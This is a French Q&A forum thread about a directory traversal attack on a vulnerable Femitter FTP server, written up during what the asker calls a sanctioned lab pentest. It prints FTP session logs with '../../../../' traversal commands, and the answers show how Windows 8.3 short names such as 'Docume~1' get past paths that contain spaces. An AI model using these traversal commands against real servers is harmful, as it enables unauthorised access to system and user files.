15 votes

Attaque par traversée de répertoire FTP sur des répertoires contenant des espaces blancs

Je suis en train de réaliser un pentest sanctionné dans un environnement de référence fermé, et je me suis heurté à un problème apparemment simple, que je ne peux actuellement pas résoudre.

En tentant d'exécuter une attaque par traversée de répertoire contre un serveur FTP Fermitter vulnérable fonctionnant sur MS Windows OS, il est possible de faire un LIST sur la racine du système (les adresses et les listes de contenu ont été modifiées ici pour référence seulement) :

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Cependant, si je veux lister le contenu d'un dossier contenant des espaces blancs tels que Documents and settings Je ne suis pas en mesure de lister le contenu du répertoire car les espaces sont ignorés.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

J'ai déjà essayé d'utiliser différents clients FTP (CLI et GUI, sous Linux et Windows) et ils ignorent les espaces blancs ou interdisent la traversée des répertoires.

J'ai également essayé d'écrire l'attaque sur Python en utilisant d'abord les sockets bruts puis ftplib pour envoyer les commandes au format HEX directement au serveur FTP, mais sans succès.

La recherche sur Google pendant quelques heures n'a pas permis de trouver une solution efficace (oui, il y avait beaucoup d'options qui ne fonctionnaient pas), c'est pourquoi il y a quelqu'un ici, qui a eu le même problème. Je suis sûr que ce n'est pas la première fois qu'une telle traversée de répertoire avec des espaces blancs est nécessaire.

0 votes

La sensibilité à la casse ne semble pas pertinente pour les clients FTP. Au moins, le client FTP GNU/Linux liste les répertoires en ignorant la casse.

0 votes

@lockout : la sensibilité à la casse est un élément du serveur et non du client. Les clients listent les données de la même manière que le serveur les envoie et ne modifient pas la casse.

0 votes

@Steffen Ullrich : Merci ! Ce serveur n'est pas sensible à la casse. Et la sensibilité à la casse n'est pas un problème ici, mais les espaces blancs, qui mettent fin à la traversée du répertoire, le sont.

16voto

lockout Points 411

Solution suggérée par @Dogeatcatworld d'utiliser la notation courte des répertoires de MS Windows telle que C:\Docume~1\ .

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Un très bon article de la base de connaissances MS explique la notation du répertoire 8.3 : Comment Windows génère des noms de fichiers 8.3 à partir de noms de fichiers longs

2 votes

OSCP Je vois. Pour ajouter à votre conseil, pour les répertoires courts, tels que "All Users", supprimez l'espace et utilisez "AllUse~1". Avez-vous trouvé un moyen de monter le FTP pour naviguer de manière interactive, ou avez-vous simplement fini par télécharger les fichiers un par un.

1voto

madsport Points 11

Le "nom court" est en fait l'ancienne convention de nommage du DOS 8.3, donc tous les répertoires seront les 6 premières lettres suivies de ~1 en supposant qu'il n'y ait qu'un seul nom qui corresponde, par exemple :

C:\ABCDEF ~1 - C:\ABCDEFG JE SUIS UN ANNUAIRE
C:\BCDEFG ~1 - C:\BCDEFGHIJKL M Un autre répertoire

Voici la seule exception :

C:\ABCDEF ~1 - C:\ABCDEFG JE SUIS UN ANNUAIRE
C:\ABCDEF ~2 - C:\ABCDEFGHI Répertoire également

Quelle: Comment trouver le chemin court d'un répertoire/fichier Windows ?

0voto

Cristan Points 398

Le ftp n'utilise pas l'encodage des url, donc %xx ne fonctionnera pas à moins que vous n'utilisiez le ftp dans un navigateur qui peut le traduire pour vous.

Essayez d'utiliser des guillemets à la place, par exemple : ls "../../un certain répertoire".

1 votes

HI, si vous regardez les tentatives de traversée de répertoire, vous verrez que j'ai essayé plusieurs guillemets : guillemet simple, guillemet double et guillemet arrière. Cela n'a pas fonctionné, comme le montre la liste de sortie FTP. L'utilisation de %20 était juste pour expérimenter si cela fonctionnerait, à cause des tentatives désespérées d'essayer toutes les options. Bien entendu, le codage % fonctionne avec les navigateurs et les clients FTP capables de l'interpréter.

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

X